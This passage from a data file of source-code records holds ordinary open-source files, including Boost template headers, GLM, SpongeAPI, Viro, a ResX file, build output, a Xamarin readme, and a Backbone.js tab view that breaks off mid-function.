mpl::deref< iter_0 > ::type \n, typename detail::cv_traits< \ntypename mpl::deref< iter_1 > ::type > ::type\n, typename mpl::deref< iter_2 > ::type\n, typename mpl::deref< iter_3 > ::type\n, typename mpl::deref< iter_4 > ::type\n, typename mpl::deref< iter_5 > ::type\n, typename mpl::deref< iter_6 > ::type\n, typename mpl::deref< iter_7 > ::type\n, typename mpl::deref< iter_8 > ::type\n, typename mpl::deref< iter_9 > ::type\n, typename mpl::deref< iter_10 > ::type\n, typename mpl::deref< iter_11 > ::type\n, typename mpl::deref< iter_12 > ::type\n, typename mpl::deref< iter_13 > ::type\n, typename mpl::deref< iter_14 > ::type\n, typename mpl::deref< iter_15 > ::type\n, typename mpl::deref< iter_16 > ::type\n, typename mpl::deref< iter_17 > ::type\n, typename mpl::deref< iter_18 > ::type\n> ::type type;\n};\n};\ntemplate< typename R , typename T0 , typename T1 , typename T2 , typename T3 , typename T4 , typename T5 , typename T6 , typename T7 , typename T8 , typename T9 , typename T10 , typename T11 , typename T12 , typename T13 , typename T14 , typename T15 , typename T16 , typename T17 , typename T18 >\nstruct BOOST_FT_make_type(BOOST_FT_flags,BOOST_FT_cc_id,19)\n{\ntypedef BOOST_FT_syntax(BOOST_FT_cc,type BOOST_PP_EMPTY) (T1 , T2 , T3 , T4 , T5 , T6 , T7 , T8 , T9 , T10 , T11 , T12 , T13 , T14 , T15 , T16 , T17 , T18 BOOST_FT_ell) BOOST_FT_cv ;\n};\ntemplate< > \nstruct synthesize_impl_o< BOOST_FT_flags, BOOST_FT_cc_id, 20 > \n{ \ntemplate<typename S> struct synthesize_impl_i\n{\nprivate:\ntypedef typename mpl::begin<S> ::type iter_0;\ntypedef typename mpl::next< iter_0 > ::type iter_1;\ntypedef typename mpl::next< iter_1 > ::type iter_2;\ntypedef typename mpl::next< iter_2 > ::type iter_3;\ntypedef typename mpl::next< iter_3 > ::type iter_4;\ntypedef typename mpl::next< iter_4 > ::type iter_5;\ntypedef typename mpl::next< iter_5 > ::type iter_6;\ntypedef typename mpl::next< iter_6 > ::type iter_7;\ntypedef typename mpl::next< iter_7 > ::type iter_8;\ntypedef typename mpl::next< iter_8 > ::type iter_9;\ntypedef typename mpl::next< iter_9 > ::type iter_10;\ntypedef typename mpl::next< iter_10 > ::type iter_11;\ntypedef typename mpl::next< iter_11 > ::type iter_12;\ntypedef typename mpl::next< iter_12 > ::type iter_13;\ntypedef typename mpl::next< iter_13 > ::type iter_14;\ntypedef typename mpl::next< iter_14 > ::type iter_15;\ntypedef typename mpl::next< iter_15 > ::type iter_16;\ntypedef typename mpl::next< iter_16 > ::type iter_17;\ntypedef typename mpl::next< iter_17 > ::type iter_18;\ntypedef typename mpl::next< iter_18 > ::type iter_19;\npublic:\ntypedef typename detail::BOOST_FT_make_type(BOOST_FT_flags,BOOST_FT_cc_id,19) \n< typename mpl::deref< iter_0 > ::type \n, typename detail::cv_traits< \ntypename mpl::deref< iter_1 > ::type > ::type\n, typename mpl::deref< iter_2 > ::type\n, typename mpl::deref< iter_3 > ::type\n, typename mpl::deref< iter_4 > ::type\n, typename mpl::deref< iter_5 > ::type\n, typename mpl::deref< iter_6 > ::type\n, typename mpl::deref< iter_7 > ::type\n, typename mpl::deref< iter_8 > ::type\n, typename mpl::deref< iter_9 > ::type\n, typename mpl::deref< iter_10 > ::type\n, typename mpl::deref< iter_11 > ::type\n, typename mpl::deref< iter_12 > ::type\n, typename mpl::deref< iter_13 > ::type\n, typename mpl::deref< iter_14 > ::type\n, typename mpl::deref< iter_15 > ::type\n, typename mpl::deref< iter_16 > ::type\n, typename mpl::deref< iter_17 > ::type\n, typename mpl::deref< iter_18 > ::type\n, typename mpl::deref< iter_19 > ::type\n> ::type type;\n};\n};\ntemplate< typename R , typename T0 , typename T1 , typename T2 , typename T3 , typename T4 , typename T5 , typename T6 , typename T7 , typename T8 , typename T9 , typename T10 , typename T11 , typename T12 , typename T13 , typename T14 , typename T15 , typename T16 , typename T17 , typename T18 , typename T19 >\nstruct BOOST_FT_make_type(BOOST_FT_flags,BOOST_FT_cc_id,20)\n{\ntypedef BOOST_FT_syntax(BOOST_FT_cc,type BOOST_PP_EMPTY) (T1 , T2 , T3 , T4 , T5 , T6 , T7 , T8 , T9 , T10 , T11 , T12 , T13 , T14 , T15 , T16 , T17 , T18 , T19 BOOST_FT_ell) BOOST_FT_cv ;\n};\ntemplate< > \nstruct synthesize_impl_o< BOOST_FT_flags, BOOST_FT_cc_id, 21 > \n{ \ntemplate<typename S> struct synthesize_impl_i\n{\nprivate:\ntypedef typename mpl::begin<S> ::type iter_0;\ntypedef typename mpl::next< iter_0 > ::type iter_1;\ntypedef typename mpl::next< iter_1 > ::type iter_2;\ntypedef typename mpl::next< iter_2 > ::type iter_3;\ntypedef typename mpl::next< iter_3 > ::type iter_4;\ntypedef typename mpl::next< iter_4 > ::type iter_5;\ntypedef typename mpl::next< iter_5 > ::type iter_6;\ntypedef typename mpl::next< iter_6 > ::type iter_7;\ntypedef typename mpl::next< iter_7 > ::type iter_8;\ntypedef typename mpl::next< iter_8 > ::type iter_9;\ntypedef typename mpl::next< iter_9 > ::type iter_10;\ntypedef typename mpl::next< iter_10 > ::type iter_11;\ntypedef typename mpl::next< iter_11 > ::type iter_12;\ntypedef typename mpl::next< iter_12 > ::type iter_13;\ntypedef typename mpl::next< iter_13 > ::type iter_14;\ntypedef typename mpl::next< iter_14 > ::type iter_15;\ntypedef typename mpl::next< iter_15 > ::type iter_16;\ntypedef typename mpl::next< iter_16 > ::type iter_17;\ntypedef typename mpl::next< iter_17 > ::type iter_18;\ntypedef typename mpl::next< iter_18 > ::type iter_19;\ntypedef typename mpl::next< iter_19 > ::type iter_20;\npublic:\ntypedef typename detail::BOOST_FT_make_type(BOOST_FT_flags,BOOST_FT_cc_id,20) \n< typename mpl::deref< iter_0 > ::type \n, typename detail::cv_traits< \ntypename mpl::deref< iter_1 > ::type > ::type\n, typename mpl::deref< iter_2 > ::type\n, typename mpl::deref< iter_3 > ::type\n, typename mpl::deref< iter_4 > ::type\n, typename mpl::deref< iter_5 > ::type\n, typename mpl::deref< iter_6 > ::type\n, typename mpl::deref< iter_7 > ::type\n, typename mpl::deref< iter_8 > ::type\n, typename mpl::deref< iter_9 > ::type\n, typename mpl::deref< iter_10 > ::type\n, typename mpl::deref< iter_11 > ::type\n, typename mpl::deref< iter_12 > ::type\n, typename mpl::deref< iter_13 > ::type\n, typename mpl::deref< iter_14 > ::type\n, typename mpl::deref< iter_15 > ::type\n, typename mpl::deref< iter_16 > ::type\n, typename mpl::deref< iter_17 > ::type\n, typename mpl::deref< iter_18 > ::type\n, typename mpl::deref< iter_19 > ::type\n, typename mpl::deref< iter_20 > ::type\n> ::type type;\n};\n};\n# undef BOOST_FT_make_type\n# undef BOOST_FT_make_type_impl\n\n"} {"text": "///////////////////////////////////////////////////////////////////////////////////////////////////\n// OpenGL Mathematics Copyright (c) 2005 - 2010 G-Truc Creation (www.g-truc.net)\n///////////////////////////////////////////////////////////////////////////////////////////////////\n// Created : 2005-12-21\n// Updated : 2008-09-30\n// Licence : This source is under MIT License\n// File : glm/gtx/inverse.hpp\n///////////////////////////////////////////////////////////////////////////////////////////////////\n// Dependency:\n// - GLM core\n///////////////////////////////////////////////////////////////////////////////////////////////////\n\n#ifndef glm_gtx_inverse\n#define glm_gtx_inverse\n\n// Dependency:\n#include \"../glm.hpp\"\n#include \"../gtc/matrix_operation.hpp\"\n\nnamespace glm{\nnamespace gtx{\n//! GLM_GTX_inverse extension: Inverse matrix functions\nnamespace inverse\n{\n\tusing namespace gtc::matrix_operation;\n\n\t//! Fast matrix inverse for affine matrix.\n\t//! From GLM_GTX_inverse extension.\n\ttemplate <typename genType> \n\tgenType affineInverse(genType const & m);\n \n}//namespace inverse\n}//namespace gtx\n}//namespace glm\n\n#include \"inverse.inl\"\n\nnamespace glm{using namespace gtx::inverse;}\n\n#endif//glm_gtx_inverse\n"} {"text": "/*\n * This file is part of SpongeAPI, licensed under the MIT License (MIT).\n *\n * Copyright (c) SpongePowered <https://www.spongepowered.org>\n * Copyright (c) contributors\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\npackage org.spongepowered.api.data.manipulator.immutable.entity;\n\nimport org.spongepowered.api.data.manipulator.ImmutableDataManipulator;\nimport org.spongepowered.api.data.manipulator.mutable.entity.HorseData;\nimport org.spongepowered.api.data.type.HorseColor;\nimport org.spongepowered.api.data.type.HorseStyle;\nimport org.spongepowered.api.data.value.immutable.ImmutableValue;\nimport org.spongepowered.api.entity.living.animal.RideableHorse;\n\n/**\n * An {@link ImmutableDataManipulator} handling the various information for a\n * {@link RideableHorse} including {@link HorseColor}, {@link HorseStyle}.\n */\npublic interface ImmutableHorseData extends ImmutableDataManipulator<ImmutableHorseData, HorseData> {\n\n /**\n * Gets an {@link ImmutableValue} for the {@link HorseColor}.\n *\n * @return The immutable value for the horse color\n */\n ImmutableValue<HorseColor> color();\n\n /**\n * Gets an {@link ImmutableValue} for the {@link HorseStyle}.\n *\n * @return The immutable value for the horse style\n */\n ImmutableValue<HorseStyle> style();\n\n}\n"} {"text": "\n#ifndef BOOST_MPL_VECTOR_VECTOR0_C_HPP_INCLUDED\n#define BOOST_MPL_VECTOR_VECTOR0_C_HPP_INCLUDED\n\n// Copyright Aleksey Gurtovoy 2000-2004\n//\n// Distributed under the Boost Software License, Version 1.0. \n// (See accompanying file LICENSE_1_0.txt or copy at \n// http://www.boost.org/LICENSE_1_0.txt)\n//\n// See http://www.boost.org/libs/mpl for documentation.\n\n// $Id: vector0_c.hpp 49267 2008-10-11 06:19:02Z agurtovoy $\n// $Date: 2008-10-10 23:19:02 -0700 (Fri, 10 Oct 2008) $\n// $Revision: 49267 $\n\n#include <boost/mpl/vector/vector0.hpp>\n#include <boost/mpl/integral_c.hpp>\n\nnamespace boost { namespace mpl {\n\ntemplate< typename T > struct vector0_c\n : vector0<>\n{\n typedef vector0_c type;\n typedef T value_type;\n};\n\n}}\n\n#endif // BOOST_MPL_VECTOR_VECTOR0_C_HPP_INCLUDED\n"} {"text": "//\n// VRONodeCamera.h\n// ViroRenderer\n//\n// Created by Raj Advani on 3/24/16.\n// Copyright © 2016 Viro Media. All rights reserved.\n//\n// Permission is hereby granted, free of charge, to any person obtaining\n// a copy of this software and associated documentation files (the\n// \"Software\"), to deal in the Software without restriction, including\n// without limitation the rights to use, copy, modify, merge, publish,\n// distribute, sublicense, and/or sell copies of the Software, and to\n// permit persons to whom the Software is furnished to do so, subject to\n// the following conditions:\n//\n// The above copyright notice and this permission notice shall be included\n// in all copies or substantial portions of the Software.\n//\n// THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n// IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\n// CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\n// TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\n// SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\n#ifndef VRONodeCamera_h\n#define VRONodeCamera_h\n\n#include \"VROAnimatable.h\"\n#include \"VROVector3f.h\"\n#include \"VROQuaternion.h\"\n\nenum class VROCameraRotationType;\n\nclass VRONode;\n/*\n Node cameras are attached to nodes, and derive their base position and rotation\n from said parent node. The \"active\" node camera each frame becomes the \n point of view from which the scene is rendered in that frame. To designate\n a node camera as active, set the VROView's pointOfView property to that\n camera's node.\n */\nclass VRONodeCamera : public VROAnimatable {\n \npublic:\n \n VRONodeCamera();\n virtual ~VRONodeCamera();\n \n void setPosition(VROVector3f position);\n void setBaseRotation(VROQuaternion baseRotation);\n void setRotationType(VROCameraRotationType type);\n void setOrbitFocalPoint(VROVector3f focalPt);\n void setFieldOfViewY(float fovy);\n void setRefNodeToCopyRotation(std::shared_ptr<VRONode> node);\n \n /*\n Return the ref node.\n */\n std::shared_ptr<VRONode> getRefNodeToCopyRotation() const {\n return _refNodeToCopyCameraRotation.lock();\n }\n \n VROVector3f getPosition() const {\n return _position;\n }\n VROQuaternion getBaseRotation() const {\n return _baseRotation;\n }\n VROCameraRotationType getRotationType() const {\n return _rotationType;\n }\n VROVector3f getOrbitFocalPoint() const {\n return _orbitFocalPt;\n }\n float getFieldOfView() const {\n return _fov;\n }\n \nprivate:\n \n /*\n The position of the camera, relative to the node's coordinate system.\n */\n VROVector3f _position;\n \n /*\n The base rotation. This is set by the application. Total rotation is head\n rotation plus base rotation plus the rotation of the parent node.\n */\n VROQuaternion _baseRotation;\n \n /*\n The camera rotation type (orbit around a focal point, or standard rotation).\n */\n VROCameraRotationType _rotationType;\n \n /*\n If in orbit mode, this is the point that the camera focuses on, from its current\n position. Specified in the coordinate system of the parent node.\n */\n VROVector3f _orbitFocalPt;\n\n /*\n The field of view for this camera, along the major (larger) axis. The minor axis\n FOV will be automatically computed from this and the viewport. If this is zero, then\n Viro will use the default FOV for the view. This value is ignored on VR and AR\n platforms, where the FOV is fixed by the eye settings or the camera. This value\n is given in degrees.\n\n Note that the major axis is the axis with the larger dimension: the X axis in landscape\n mode, or the Y axis in portrait mode. By specifying the FOV in terms of the major axis, Viro\n can keep the FOV consistent even upon orientation changes when the major/minor axes\n swap.\n */\n float _fov;\n \n /*\n Can be null. Reference node that is used to store the head rotation of the camera in a VRONode.\n */\n std::weak_ptr<VRONode> _refNodeToCopyCameraRotation;\n \n};\n\n#endif /* VRONodeCamera_hpp */\n"} {"text": "ad4e8c2643ab7d46cd082a83b17722712c0914d8\n"} {"text": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<root>\n <!--\n Microsoft ResX Schema\n\n Version 2.0\n\n The primary goals of this format is to allow a simple XML format\n that is mostly human readable. The generation and parsing of the\n various data types are done through the TypeConverter classes\n associated with the data types.\n\n Example:\n\n ... ado.net/XML headers & schema ...\n <resheader name=\"resmimetype\">text/microsoft-resx</resheader>\n <resheader name=\"version\">2.0</resheader>\n <resheader name=\"reader\">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>\n <resheader name=\"writer\">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>\n <data name=\"Name1\"><value>this is my long string</value><comment>this is a comment</comment></data>\n <data name=\"Color1\" type=\"System.Drawing.Color, System.Drawing\">Blue</data>\n <data name=\"Bitmap1\" mimetype=\"application/x-microsoft.net.object.binary.base64\">\n <value>[base64 mime encoded serialized .NET Framework object]</value>\n </data>\n <data name=\"Icon1\" type=\"System.Drawing.Icon, System.Drawing\" mimetype=\"application/x-microsoft.net.object.bytearray.base64\">\n <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>\n <comment>This is a comment</comment>\n </data>\n\n There are any number of \"resheader\" rows that contain simple\n name/value pairs.\n\n Each data row contains a name, and value. The row also contains a\n type or mimetype. Type corresponds to a .NET class that support\n text/value conversion through the TypeConverter architecture.\n Classes that don't support this are serialized and stored with the\n mimetype set.\n\n The mimetype is used for serialized objects, and tells the\n ResXResourceReader how to depersist the object. This is currently not\n extensible. For a given mimetype the value must be set accordingly:\n\n Note - application/x-microsoft.net.object.binary.base64 is the format\n that the ResXResourceWriter will generate, however the reader can\n read any of the formats listed below.\n\n mimetype: application/x-microsoft.net.object.binary.base64\n value : The object must be serialized with\n : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter\n : and then encoded with base64 encoding.\n\n mimetype: application/x-microsoft.net.object.soap.base64\n value : The object must be serialized with\n : System.Runtime.Serialization.Formatters.Soap.SoapFormatter\n : and then encoded with base64 encoding.\n\n mimetype: application/x-microsoft.net.object.bytearray.base64\n value : The object must be serialized into a byte array\n : using a System.ComponentModel.TypeConverter\n : and then encoded with base64 encoding.\n -->\n <xsd:schema id=\"root\" xmlns=\"\" xmlns:xsd=\"https://www.w3.org/2001/XMLSchema\" xmlns:msdata=\"urn:schemas-microsoft-com:xml-msdata\">\n <xsd:import namespace=\"https://www.w3.org/XML/1998/namespace\" />\n <xsd:element name=\"root\" msdata:IsDataSet=\"true\">\n <xsd:complexType>\n <xsd:choice maxOccurs=\"unbounded\">\n <xsd:element name=\"metadata\">\n <xsd:complexType>\n <xsd:sequence>\n <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" />\n </xsd:sequence>\n <xsd:attribute name=\"name\" use=\"required\" type=\"xsd:string\" />\n <xsd:attribute name=\"type\" type=\"xsd:string\" />\n <xsd:attribute name=\"mimetype\" type=\"xsd:string\" />\n <xsd:attribute ref=\"xml:space\" />\n </xsd:complexType>\n </xsd:element>\n <xsd:element name=\"assembly\">\n <xsd:complexType>\n <xsd:attribute name=\"alias\" type=\"xsd:string\" />\n <xsd:attribute name=\"name\" type=\"xsd:string\" />\n </xsd:complexType>\n </xsd:element>\n <xsd:element name=\"data\">\n <xsd:complexType>\n <xsd:sequence>\n <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\n <xsd:element name=\"comment\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"2\" />\n </xsd:sequence>\n <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" msdata:Ordinal=\"1\" />\n <xsd:attribute name=\"type\" type=\"xsd:string\" msdata:Ordinal=\"3\" />\n <xsd:attribute name=\"mimetype\" type=\"xsd:string\" msdata:Ordinal=\"4\" />\n <xsd:attribute ref=\"xml:space\" />\n </xsd:complexType>\n </xsd:element>\n <xsd:element name=\"resheader\">\n <xsd:complexType>\n <xsd:sequence>\n <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\n </xsd:sequence>\n <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" />\n </xsd:complexType>\n </xsd:element>\n </xsd:choice>\n </xsd:complexType>\n </xsd:element>\n </xsd:schema>\n <resheader name=\"resmimetype\">\n <value>text/microsoft-resx</value>\n </resheader>\n <resheader name=\"version\">\n <value>2.0</value>\n </resheader>\n <resheader name=\"reader\">\n <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n </resheader>\n <resheader name=\"writer\">\n <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n </resheader>\n <data name=\"ExitNonExistentNestedPromptError\" xml:space=\"preserve\">\n <value>Cannot exit a nested prompt because no nested prompts exist.</value>\n </data>\n <data name=\"EnterExitNestedPromptOutOfSync\" xml:space=\"preserve\">\n <value>EnterNestedPrompt has not been called as many times as ExitNestedPrompt.</value>\n </data>\n</root>\n"} {"text": "/*=============================================================================\n Copyright (c) 2009 Hartmut Kaiser\n\n Distributed under the Boost Software License, Version 1.0. (See accompanying \n file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)\n==============================================================================*/\n\n#if !defined(BOOST_FUSION_NVIEW_SEP_23_2009_0948PM)\n#define BOOST_FUSION_NVIEW_SEP_23_2009_0948PM\n\n#include <boost/fusion/support/config.hpp>\n#include <boost/mpl/size.hpp>\n#include <boost/mpl/if.hpp>\n#include <boost/mpl/vector_c.hpp>\n#include <boost/utility/result_of.hpp>\n\n#include <boost/type_traits/remove_reference.hpp>\n#include <boost/type_traits/add_reference.hpp>\n#include <boost/type_traits/add_const.hpp>\n\n#include <boost/fusion/support/is_view.hpp>\n#include <boost/fusion/support/category_of.hpp>\n#include <boost/fusion/support/sequence_base.hpp>\n#include <boost/fusion/container/vector.hpp>\n#include <boost/fusion/view/transform_view.hpp>\n\n#include <boost/config.hpp>\n\nnamespace boost { namespace fusion\n{\n namespace detail\n {\n struct addref\n {\n template<typename Sig>\n struct result;\n\n template<typename U>\n struct result<addref(U)> : add_reference<U> {};\n\n#ifdef BOOST_NO_CXX11_RVALUE_REFERENCES\n template <typename T>\n BOOST_CONSTEXPR BOOST_FUSION_GPU_ENABLED\n typename add_reference<T>::type \n operator()(T& x) const\n {\n return x;\n }\n#else\n template <typename T>\n BOOST_CONSTEXPR BOOST_FUSION_GPU_ENABLED\n typename result<addref(T)>::type\n operator()(T&& x) const\n {\n return x;\n }\n#endif\n };\n\n struct addconstref\n {\n template<typename Sig>\n struct result;\n\n template<typename U>\n struct result<addconstref(U)> \n : add_reference<typename add_const<U>::type> \n {};\n\n template <typename T>\n BOOST_CONSTEXPR BOOST_FUSION_GPU_ENABLED\n typename add_reference<typename add_const<T>::type>::type \n operator()(T& x) const\n {\n return x;\n }\n\n template <typename T>\n BOOST_CONSTEXPR BOOST_FUSION_GPU_ENABLED\n typename add_reference<typename add_const<T>::type>::type \n operator()(T const& x) const\n {\n return x;\n }\n };\n }\n\n struct nview_tag;\n struct random_access_traversal_tag;\n struct fusion_sequence_tag;\n\n template<typename Sequence, typename Indicies>\n struct nview\n : sequence_base<nview<Sequence, Indicies> >\n {\n typedef nview_tag fusion_tag;\n typedef fusion_sequence_tag tag; // this gets picked up by MPL\n typedef random_access_traversal_tag category;\n\n typedef mpl::true_ is_view;\n typedef Indicies index_type;\n typedef typename mpl::size<Indicies>::type size;\n\n typedef typename mpl::if_<\n is_const<Sequence>, detail::addconstref, detail::addref\n >::type transform_type;\n typedef transform_view<Sequence, transform_type> transform_view_type;\n typedef typename result_of::as_vector<transform_view_type>::type \n sequence_type;\n\n BOOST_CONSTEXPR BOOST_FUSION_GPU_ENABLED\n explicit nview(Sequence& val)\n : seq(sequence_type(transform_view_type(val, transform_type()))) \n {}\n\n sequence_type seq;\n };\n\n}}\n\n// define the nview() generator functions\n#include <boost/fusion/view/nview/detail/nview_impl.hpp>\n\n#endif\n\n\n"} {"text": "Check kernel version:\n$ uname -r\n\nCurrently loaded module: \n$ lsmod\n\n"} {"text": "<screen xmlns=\"http://www.scons.org/dbxsd/v1.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://www.scons.org/dbxsd/v1.0 http://www.scons.org/dbxsd/v1.0/scons.xsd\">% <userinput>scons -Q</userinput>\ncc -o prog1/foo1.o -c prog1/foo1.c\ncc -o prog1/foo2.o -c prog1/foo2.c\ncc -o prog1/main.o -c prog1/main.c\ncc -o prog1/prog1 prog1/main.o prog1/foo1.o prog1/foo2.o\ncc -o prog2/bar1.o -c prog2/bar1.c\ncc -o prog2/bar2.o -c prog2/bar2.c\ncc -o prog2/main.o -c prog2/main.c\ncc -o prog2/prog2 prog2/main.o prog2/bar1.o prog2/bar2.o\n</screen>\n"} {"text": "---\nname: Xamarin.Forms - Circle Map Overlay\ndescription: \"How to add a circular overlay to a map in order to highlight a circular area...\"\npage_type: sample\nlanguages:\n- csharp\nproducts:\n- xamarin\nextensions:\n tags:\n - map\n - customrenderer\nurlFragment: customrenderers-map-circle\n---\n# Circle Map Overlay\n\nThis sample demonstrates how to add a circular overlay to a map in order to highlight a circular area of the map.\n\nFor more information about this sample see [Highlighting a Circular Area on a Map](https://docs.microsoft.com/xamarin/xamarin-forms/app-fundamentals/custom-renderer/map/circle-map-overlay).\n\n![Circle Map Overlay application screenshot](Screenshots/01All.png \"Circle Map Overlay application screenshot\")\n\n"} {"text": "fileFormatVersion: 2\nguid: 7f2d865a945c0f64283a41f70b9158d1\ntimeCreated: 1441030995\nlicenseType: Pro\nMonoImporter:\n serializedVersion: 2\n defaultReferences: []\n executionOrder: 0\n icon: {instanceID: 0}\n userData: \n assetBundleName: \n assetBundleVariant: \n"} {"text": "//----------------------------------------------\n// NGUI: Next-Gen UI kit\n// Copyright © 2011-2016 Tasharen Entertainment\n//----------------------------------------------\n\nusing UnityEngine;\nusing UnityEditor;\n\n[CanEditMultipleObjects]\n[CustomEditor(typeof(UIStretch))]\npublic class UIStretchEditor : Editor\n{\n\tpublic override void OnInspectorGUI ()\n\t{\n\t\tbase.OnInspectorGUI();\n\t\tEditorGUILayout.HelpBox(\"UIStretch is a legacy component and should not be used anymore. All widgets have anchoring functionality built-in.\", MessageType.Warning);\n\t}\n}\n"} {"text": "/**\n * The tabs view. This does the actual rendering of data, creaton of columns and widget insertion.\n */\ndefine([\"jquery\", \"lodash\", \"backbone\", \"core/auth\", \"core/status\", \"core/analytics\", \"i18n/i18n\"], function($, _, Backbone, Auth, Status, Track, Translate) {\n\tvar GRID_SIZE = 10;\n\n\tvar view = Backbone.View.extend({\n\t\ttagName: \"div\",\n\t\tclassName: function() {\n\t\t\treturn \"tab\" + (this.model.get(\"isGrid\") ? \" grid\" : \"\");\n\t\t},\n\n\t\tinitialize: function() {\n\t\t\tthis.model.on(\"columns:sort columns:update columns:reset columns:views:change update:columns change:fixed change:isGrid change:adPlacement\", function() {\n\t\t\t\tvar options = _.last(arguments);\n\n\t\t\t\tif (!(options && options.noRefresh)) {\n\t\t\t\t\tthis.render();\n\t\t\t\t}\n\t\t\t}, this);\n\n\t\t\tthis.once(\"inserted\", function() {\n\t\t\t\tthis._inserted = true;\n\t\t\t}, this);\n\n\t\t\tthis.render(true);\n\t\t},\n\n\n\t\t/**\n\t\t * Serializes the widgets and columns into a JSON object, updating the model in the process\n\t\t *\n\t\t * @api public\n\t\t * @param {Boolean} [trigger] Whether or not to trigger a sort event for this serialize\n\t\t * @return {Object} The serialized tab\n\t\t */\n\t\tserialize: function(trigger) {\n\t\t\tvar columns = [];\n\n\t\t\tif (this.model.get(\"isGrid\")) {\n\t\t\t\tvar column = [];\n\n\t\t\t\tthis.$(\".widget\").each(function() {\n\t\t\t\t\tvar that = $(this),\n\t\t\t\t\t\twidget = that.data(\"view\");\n\n\t\t\t\t\tvar loc = [\n\t\t\t\t\t\tMath.round(that.position().top / GRID_SIZE),\n\t\t\t\t\t\tMath.round(that.position().left / GRID_SIZE),\n\t\t\t\t\t\tMath.round(that.outerWidth() / GRID_SIZE),\n\t\t\t\t\t\tMath.round(that.outerHeight() / GRID_SIZE)\n\t\t\t\t\t];\n\n\t\t\t\t\tif (loc[0] < 0) {\n\t\t\t\t\t\tloc[0] = 0;\n\t\t\t\t\t}\n\n\t\t\t\t\tif (loc[1] < 0) {\n\t\t\t\t\t\tloc[1] = 0;\n\t\t\t\t\t}\n\n\t\t\t\t\t// This is silent so a save isn't triggered prematurely\n\t\t\t\t\twidget.model.set(\"loc\", loc, { silent: true });\n\n\t\t\t\t\tcolumn.push(widget);\n\t\t\t\t});\n\n\t\t\t\tcolumns.push(column);\n\t\t\t}\n\t\t\telse {\n\t\t\t\tthis.$(\".widgets-container > .column\").each(function() {\n\t\t\t\t\tvar column = [];\n\n\t\t\t\t\t$(this).children(\".widget\").each(function() {\n\t\t\t\t\t\tcolumn.push($(this).data(\"view\"));\n\t\t\t\t\t});\n\n\t\t\t\t\tcolumns.push(column);\n\t\t\t\t});\n\t\t\t}\n\n\t\t\t_.each(columns, function(column, i) {\n\t\t\t\tvar collection = this.model.columns[i];\n\n\t\t\t\t// Only update the collection if the order is different from the columns\n\t\t\t\tif (_.pluck(collection.views, \"cid\").join(\" \") !== _.pluck(column, \"cid\").join(\" \")) {\n\t\t\t\t\t// Remove the old models and views\n\t\t\t\t\tcollection.remove(\n\t\t\t\t\t\t_(collection.views).difference(column).each(function(e) {\n\t\t\t\t\t\t\t// If the element is still in the document then it was just moved out\n\t\t\t\t\t\t\t// of this tab, don't destroy it\n\t\t\t\t\t\t\tif (!$.contains(document.documentElement, e.el)) {\n\t\t\t\t\t\t\t\t// Again, silenced to avoid premature event triggering\n\t\t\t\t\t\t\t\tcollection.removeView(e, true);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse {\n\t\t\t\t\t\t\t\t// This has to splice so the remove call, which calls removeView,\n\t\t\t\t\t\t\t\t// won't destroy the element\n\t\t\t\t\t\t\t\tcollection.views.splice(collection.views.indexOf(e), 1);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}).pluck(\"model\").valueOf(),\n\t\t\t\t\t\t{ silent: true }\n\t\t\t\t\t);\n\n\n\t\t\t\t\t// Insert the new ones. Backbone needs to set up references so these can't be directly inserted\n\t\t\t\t\tcollection.add(_(column).difference(collection.views).pluck(\"model\").valueOf(), { silent: true });\n\n\n\t\t\t\t\t// Sort the models to match the views, see lib/backbone.viewcollection for comments\n\t\t\t\t\tvar cids = _.pluck(_.pluck(column, \"model\"), \"cid\"),\n\t\t\t\t\t\torder = _.zipObject(cids, cids.map(function(e, i) {\n\t\t\t\t\t\t\treturn i + 1;\n\t\t\t\t\t\t}));\n\n\t\t\t\t\tcollection.models = 